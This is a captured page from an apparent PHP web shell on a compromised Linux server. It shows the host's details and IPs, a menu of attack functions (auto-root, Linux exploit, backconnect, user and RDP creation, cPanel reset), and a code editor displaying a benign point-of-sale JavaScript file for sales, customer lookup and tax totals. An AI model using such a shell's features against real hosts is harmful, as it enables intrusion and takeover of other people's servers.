Linux server-604606.appsiete.com 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.240.172.200 | : 216.73.216.213
14 Domain
7.3.33
gujo45me
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
gujo45me /
.trash /
public /
js /
proforma /
[ HOME SHELL ]
Name
Size
Permission
Action
detalles.js
11.67
KB
-rw-r--r--
detalles_deuda.js
3.2
KB
-rw-r--r--
detalles_operario.js
1.19
KB
-rw-r--r--
nuevo.js
22.5
KB
-rw-r--r--
venta.js
21.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : venta.js
$(function () { /******************************************************************************/ /* start: valida formulario de ventas /******************************************************************************/ $('#frmNuevo').form({ keyboardShortcuts: false, fields: { numero_documento: { depends : 'nombre', rules: [ { type : 'integer', prompt : 'Ingrese solo números'}, { type : 'exactLength[8]', prompt : 'El DNI debe tener {ruleValue} digitos'} ] }, nombre: { depends : 'numero_documento', rules: [ { type : 'empty', prompt : 'Complete este campo'}, { type : 'minLength[3]', prompt : 'El nombre es muy corto'}, ] }, }, inline : true, }); $('.btn_registrar').on('click', function() { var count=$("#tbody tr:first > td").length; if (count > 0 && ($('#total_venta') !== "")) { if ($('#total_venta').val() !== "") { if ($('#total_venta').val() >= 700 && $('#numero_documento').val() == "" && $('#tipo_documento').val() == "2" ) { //valida ventas mayoares a 700 swal("Las ventas superiores a 700 soles", "deben ir con el DNI del cliente", "warning");//valida ventas mayoares a 700 }//valida ventas mayoares a 700 else{//valida ventas mayoares a 700 if ($('#frmNuevo').form('is valid')) { $('#register_modal').modal({ closable: false, onApprove : function() { sendForm(); } }).modal('show'); } else { $('#frmNuevo').form('validate form'); } }//valida ventas mayoares a 700 } else { swal("Los precios", "de los productos no son validos", "warning"); } } else { swal("Por favor", "agregue algun producto a la lista", "warning"); } }); function sendForm() { var data = $('#frmNuevo').serialize(); $.requestApi('/venta/registrar', data, 'POST', function (resolve) { if (resolve) { $.showMessagesImprimir(resolve, APP_URL+"/venta/detalles/"+resolve.id_venta, APP_URL+"/../pdf/imprimeTicket.php?id_venta="+resolve.id_venta); } }); return false; }; /******************************************************************************/ /* start: muestra oculta fecha de pago al credito /******************************************************************************/ $('[name="tipo_pago"]').change(function() { var option= $("option:selected", this).val(); if (option == "CREDITO") { $('#fecha_pago').css('visibility', 'visible'); $('#frmNuevo').form('add rule', 'fecha_pago', { rules: [{ type : 'empty', prompt : 'Ingrese una fecha de pago'}] }); } else { $('#fecha_pago').css('visibility', 'hidden'); $('#frmNuevo').form('remove fields', ['fecha_pago']); $('#frmNuevo').form('remove prompt', ['fecha_pago']); $('[name="fecha_pago"]').val(''); } }); $('[name="fecha_pago"]').on('change', function(){ if ($('[name="fecha_pago"]').val() !== '' ) { $('#frmNuevo').form('remove prompt', ['fecha_pago']); } }); /*********************************************************************************************************/ /* modal mostrar todos los productos /*********************************************************************************************************/ function buscarNombreProducto(producto) { $._requestApi('/producto_local/getByNombre', {'search' : producto }, 'GET', function (resolve) { if (resolve) { var datos = []; for( var i=0; i< resolve.length; i++ ){ resolve[i]['i'] = i+1; if(resolve[i]){ datos.push(renderProductos(resolve[i])); } } $('#tbody_productos').html(datos.join('')); $("#btn_buscar_prod").removeClass('loading'); } }); }; $('.btn_buscar_producto').on('click', function() { $('#buscar_producto_modal').modal('show'); $('#buscar_producto').val(''); //resetearTablaProducto(); }); $('#buscar_producto').on('keypress', function(e){ if (e.keyCode == 13){ $("#btn_buscar_prod").addClass('loading'); var producto = $('#buscar_producto').val(); buscarNombreProducto(producto); } }); $('#btn_buscar_prod').on('click', function() { $("#btn_buscar_prod").addClass('loading'); var producto = $('#buscar_producto').val(); buscarNombreProducto(producto); }); $('body').on('click', '.btn_seleccionar_producto', function(){ var id = $(this).data("id"); var mayor = $(this).data("mayor"); $("#loader_busqueda").removeClass('disabled'); $("#loader_busqueda").addClass('active'); $._requestApi('/producto_local/getById', {id_producto : id }, 'GET', function (resolve) { if (resolve) { if (resolve.id_producto) { agregarTabla(resolve, mayor); } $("#loader_busqueda").removeClass('active'); $("#loader_busqueda").addClass('disabled'); $('#buscar_producto_modal').modal('hide'); } }); }); /*********************************************************************************************************/ /* modal mostrar todos los clientes /*********************************************************************************************************/ function buscarNombreCliente(cliente) { $._requestApi('/cliente/getByNombre', {'search' : cliente }, 'GET', function (resolve) { if (resolve) { var datos = []; for( var i=0; i< resolve.length; i++ ){ resolve[i]['i'] = i+1; if(resolve[i]){ datos.push(renderClientes(resolve[i])); } } $('#tbody_clientes').html(datos.join('')); } $("#btn_buscar_cli").removeClass('loading'); }); }; $('.btn_buscar_cliente').on('click', function() { $('#buscar_cliente_modal').modal('show'); $('#buscar_cliente').val(''); //resetearTablaProducto(); }); $('#buscar_cliente').on('keypress', function(e){ if (e.keyCode == 13){ $("#btn_buscar_cli").addClass('loading'); var cliente = $('#buscar_cliente').val(); buscarNombreCliente(cliente); } }); $('#btn_buscar_cli').on('click', function() { $("#btn_buscar_cli").addClass('loading'); var cliente = $('#buscar_cliente').val(); buscarNombreCliente(cliente); }); $('body').on('click', '.btn_seleccionar_cliente', function(){ $("#numero_documento").val($(this).data("documento")); $("#nombre_cliente").val($(this).data("nombre")); $("#direccion").val($(this).data("direccion")); $('#buscar_cliente_modal').modal('hide'); }); /******************************************************************************/ /* validacion igv de situacion impuesto /******************************************************************************/ $('[name="situacion_impuesto"]').on('change', function(){ if ($('[name="situacion_impuesto"]').val() !== 'AFECTO' ) { $('[name="valor_impuesto"]').val("0.00"); $('[name="valor_impuesto"]').attr('readonly', true); } else { $('[name="valor_impuesto"]').val(_IGV); $('[name="valor_impuesto"]').attr('readonly', true); } }); /******************************************************************************/ /* buscar cliente con Keypress /******************************************************************************/ $('#numero_documento').on('keyup', function(){ $(this).val($(this).val().trim()); }); /* $('#numero_documento').on('focusout', function(){ var num = $('#numero_documento').val(); buscarDocumentoCliente(num); });*/ $('#numero_documento').on('keypress', function(e){ if (e.keyCode == 13){ var num = $('#numero_documento').val(); buscarDocumentoCliente(num); } }); $('#loading_doc').on('click', function() { var num = $('#numero_documento').val(); buscarDocumentoCliente(num); }); function buscarDocumentoCliente(num) { if ( $('#tipo_documento').val() == 1 && num.length == 11 ) // FACTURA { $("#loading_doc").addClass('loading'); $._requestApi('/cliente/getRucByApi', {'numero_documento' : num }, 'GET', function (resolve) { if (resolve.nombre) { $('#nombre_cliente').val(resolve.nombre); resolve.direccion !== '-' ? $('#direccion').val(resolve.direccion) : $('#direccion').val(' '); } else { $('#nombre_cliente').val(''); $('#direccion').val(''); } $("#loading_doc").removeClass('loading'); }, function () { $("#loading_doc").removeClass('loading'); }); } if ( $('#tipo_documento').val() == 2 && num.length == 8 ) // BOLETA { $("#loading_doc").addClass('loading'); $._requestApi('/cliente/getDniByApi', {'numero_documento' : num }, 'GET', function (resolve) { if (resolve.nombre) { $('#nombre_cliente').val(resolve.nombre.trim()); resolve.nombre.trim() !== '' ? $('#direccion').val(' ') : $('#direccion').val(''); } else { $('#nombre_cliente').val(''); $('#direccion').val(''); } $("#loading_doc").removeClass('loading'); }, function () { $("#loading_doc").removeClass('loading'); }); } } /******************************************************************************/ /* start: agrega productos a lista /******************************************************************************/ /*$('[name="id_prod"]').change(function() { $._requestApi('/producto_local/getById', {id_producto : $("select[name='id_prod']").val() }, 'GET', function (resolve) { if (resolve) { if (resolve.id_producto) { agregarTabla(resolve); } } }); });*/ $('[name="id_prod"]').dropdown({ placeholder: 'Ingrese nombre de producto a buscar', direction: 'downward', forceSelection : false, fields: { remoteValues: 'productos', name: "nombre", value: "id_producto" }, apiSettings: { method: 'get', cache: false, url: APP_URL + '/xml/productos/{query}', }, onChange: function(value, text, $selectedItem) { $._requestApi('/producto_local/getById', {id_producto : value }, 'GET', function (resolve) { if (resolve) { if (resolve.id_producto) { agregarTabla(resolve); } } }); } }); var EventoOnKeyUpCodigoBarras; $.buscarCodigoBarras = function () { $('#loading_input').addClass('loading'); clearTimeout(EventoOnKeyUpCodigoBarras); EventoOnKeyUpCodigoBarras = setTimeout(function() { $._requestApi('/producto_local/getByCodBarras', {codigo_barras : $("#codigo_barras").val() }, 'GET', function (resolve) { if (resolve) { if (resolve.id_producto) { agregarTabla(resolve); } $("#codigo_barras").val(''); $('#loading_input').removeClass('loading'); } }); }, 200); } /*********************************************************************************************************/ /* start: calcula precios al presionar tecla /*********************************************************************************************************/ $('body').on('click', '.prec', function(){ $(this).attr("readonly", false); $(this).select(); /*if (__user.id_rol==2) { // bloquea al personal de ventas cambiar el precio $(this).attr("readonly", true); $(this).select(); } else{ $(this).attr("readonly", false); $(this).select(); }*/ }); $('body').on('keyup', '.cant', function(){ $(this).val($(this).val().trim()); var arr = $(this).attr('class').split(" "); var imp = $('#impu'+arr[1]).attr('class').split(" "); calculaSubtotal(arr[1], imp[1]); calcularTotal(); }); $('body').on('keyup', '.desc', function(){ $(this).val($(this).val().trim()); var arr = $(this).attr('class').split(" "); var imp = $('#impu'+arr[1]).attr('class').split(" "); calculaSubtotal(arr[1], imp[1]); calcularTotal(); }); $('body').on('keyup', '.prec', function(){ $(this).val($(this).val().trim()); var arr = $(this).attr('class').split(" "); var imp = $('#impu'+arr[1]).attr('class').split(" "); calculaSubtotal(arr[1], imp[1]); calcularTotal(); }); $('body').on('keyup', '#efectivo', function(){ $(this).val($(this).val().trim()); calculaVuelto( $("#total").val(), $(this).val()); }); $('body').on('click', '.btn_calculadora', function(){ $('#calculadora_modal').modal('setting', 'transition', "vertical flip").modal('show'); $("#total").val($("#total_venta").val()); $("#vuelto").val(''); $("#efectivo").val(''); }); /*********************************************************************************************************/ /* modal agregar producto /*********************************************************************************************************/ $('.btn_nuevo_producto').on('click', function() { $('#nuevo_producto_modal').modal('show'); }); $('#frmNuevoProducto').form({ keyboardShortcuts: false, fields: { nombre: { rules: [{ type : 'empty', prompt : 'Complete este campo'}] }, precio: { rules: [ { type : 'empty', prompt : 'Complete este campo'}, { type : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'}, ] }, valor_impuesto: { rules: [ { type : 'empty', prompt : 'Complete este campo'}, { type : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'}, ] }, }, inline : true, }); $('.btn_registrar_producto').on('click', function() { if ($('#frmNuevoProducto').form('is valid')) { $("#loader_producto").removeClass('disabled'); $("#loader_producto").addClass('active'); var data = $('#frmNuevoProducto').serialize(); $._requestApi('/producto/registrar_venta', data, 'POST', function (resolve) { if (resolve) { if (resolve.message === "success") { agregarTabla(resolve); } $("#loader_producto").removeClass('active'); $("#loader_producto").addClass('disabled'); $('#nuevo_producto_modal').modal('hide'); $.Helper.clearFields("#frmNuevoProducto", ["valor_impuesto"]); } }); } else { $('#frmNuevoProducto').form('validate form'); } }); }); /*********************************************************************************************************/ /* funciones de calculo /*********************************************************************************************************/ function calculaSubtotal(id, imp) { var subt = (parseFloat($('#prec'+id).val()).toFixed(6)*parseFloat($('#cant'+id).val()).toFixed(6)) - parseFloat($('#desc'+id).val()).toFixed(2); $('#subt'+id).val(validaNumero($('#prec'+id).val()) && validaNumero($('#cant'+id).val()) && validaNumero($('#desc'+id).val()) && (subt > 0) ? subt.toFixed(2) : ''); $('#v_subt'+id).text(validaNumero($('#prec'+id).val()) && validaNumero($('#cant'+id).val()) && validaNumero($('#desc'+id).val()) && (subt > 0) ? subt.toFixed(2) : ''); calculaImpuesto(id, imp); } function calculaImpuesto(id, v_impu) { var impu = parseFloat($('#subt'+id).val()).toFixed(2) - parseFloat($('#subt'+id).val()).toFixed(2)/(1+(v_impu/100)); $('#impu'+id).val(validaNumero($('#subt'+id).val()) && !isNaN(impu) ? impu.toFixed(6) : ''); } function calculaVuelto(total, efectivo) { var vuelto = efectivo-total; $('#vuelto').val(validaNumero(vuelto) && validaNumero(efectivo) && (vuelto > 0) ? vuelto.toFixed(2) : '0.00'); } function validaNumero(valor) { var expresion=/^[0-9]+([\.]{1}[0-9]+)?$/; return !expresion.test(valor) ? false : true; } function verificaExite(id) { exist = false; $('#tbody tr').each(function() { if (this.id == id) { exist = true; } }); return exist; } function calcularTotal() { var total = 0; $('#tbody').find('tr').each(function(index, element) { $(element).find('td').each(function(index1, element1) { if(index1==5) { //Index empieza en 1 temp = parseFloat($(element1).text()); total+= temp; } }); }); $('#total_venta').val(!isNaN(total) ? total.toFixed(2) : ''); } function quitarTabla(elem) { var elementoEliminar=$(elem).parent().parent(); $(elementoEliminar).remove(); calcularTotal(); } /*********************************************************************************************************/ /* funciones para cargar productos de proforma /*********************************************************************************************************/ function agregarTabla(data, mayor = false) { if (verificaExite(data.id_producto)) { cant = parseFloat($('#cant'+data.id_producto).val()); $('#cant'+data.id_producto).val(cant + 1); calculaSubtotal(data.id_producto, data.producto.valor_impuesto); calcularTotal(); } else { agregarFila(data, mayor); } } function agregarFila(data, mayor) { var precio = (mayor ? data.producto.precio_mayorista : data.producto.precio); var nuevoProducto=''+ '<tr class="rows" id="'+data.id_producto+'">'+ '<td><input type="hidden" name="id_producto[]" value="'+data.id_producto+'"/>'+data.producto.nombre+' '+(data.producto.descripcion !== null ? data.producto.descripcion : '')+'</td>'+ '<td><input type="text" name="cantidad[]" class="cant '+data.id_producto+'" id="cant'+data.id_producto+'" value="1" size="1"></td>'+ '<td class="warning"><input type="text" readonly class="prec '+data.id_producto+'" name="precio_venta[]" id="prec'+data.id_producto+'" value="'+precio+'" size="2"/></td>'+ '<td style="display:none"><input type="text" readonly name="descuento[]" class="desc '+data.id_producto+'" id="desc'+data.id_producto+'" value="0" size="1"></td>'+ '<td style="display:none"><input type="hidden" name="impuesto[]" class="impu '+data.producto.valor_impuesto+'" id="impu'+data.id_producto+'" value="'+(precio-(precio/(1+(data.producto.valor_impuesto/100)))).toFixed(6)+'"/></td>'+ '<td class="positive"><input type="hidden" name="subtotal[]" id="subt'+data.id_producto+'" value="'+precio+'"/><span id="v_subt'+data.id_producto+'">'+precio+'</span></td>'+ '<td><div class="ui mini vertical animated red button" onclick="quitarTabla(this)" title="Quitar de la lista"><div class="hidden content">Quitar</div><div class="visible content"><i class="times icon"></i></div></div></td>'+ '</tr>'; $("#tbody").prepend(nuevoProducto); calcularTotal(); } function renderProductos(resolve){ var arr = []; arr = [ '<tr data-table="'+resolve.id_producto+'">', '<td>',resolve.i,'</td>', '<td>',resolve.producto.codigo_barras,'</td>', '<td>',resolve.producto.nombre,' ',resolve.producto.descripcion,'</td>', '<td>',(resolve.stock < 1000001 ? "AGOTADO" : resolve.stock - 1000000 ),'</td>', '<td><div class="ui mini vertical animated positive button btn_seleccionar_producto" title="Click para seleccionar este producto" data-id="',resolve.id_producto,'" data-mayor="false"><div class="hidden content">Añadir</div><div class="visible content">',resolve.producto.precio,'</div></div></td>', '<td>',(resolve.producto.precio_mayorista == null ? '' : ( resolve.producto.precio_mayorista == 0 ? '' : `<div class='ui mini vertical animated orange button btn_seleccionar_producto' title='Click para seleccionar este producto' data-id='${resolve.id_producto}' data-mayor='true'><div class='hidden content'>Añadir</div><div class='visible content'>${resolve.producto.precio_mayorista}</div></div>`)),'</td>', '</tr>', ]; return arr.join(''); } function renderClientes(resolve){ var arr = []; arr = [ '<tr data-table="'+resolve.id_cliente+'">', '<td>',resolve.i,'</td>', '<td>',resolve.nombre,'</td>', '<td>',resolve.tipo_documento.nombre,'</td>', '<td>',resolve.numero_documento,'</td>', '<td><div class="ui mini vertical animated positive button btn_seleccionar_cliente" title="Seleccionar este cliente" data-nombre="',resolve.nombre,'" data-documento="',resolve.numero_documento,'" data-direccion="',resolve.direccion,'"><div class="hidden content">Elegir</div><div class="visible content"><i class="check icon"></i></div></div></td>', '</tr>', ]; return arr.join(''); }
Close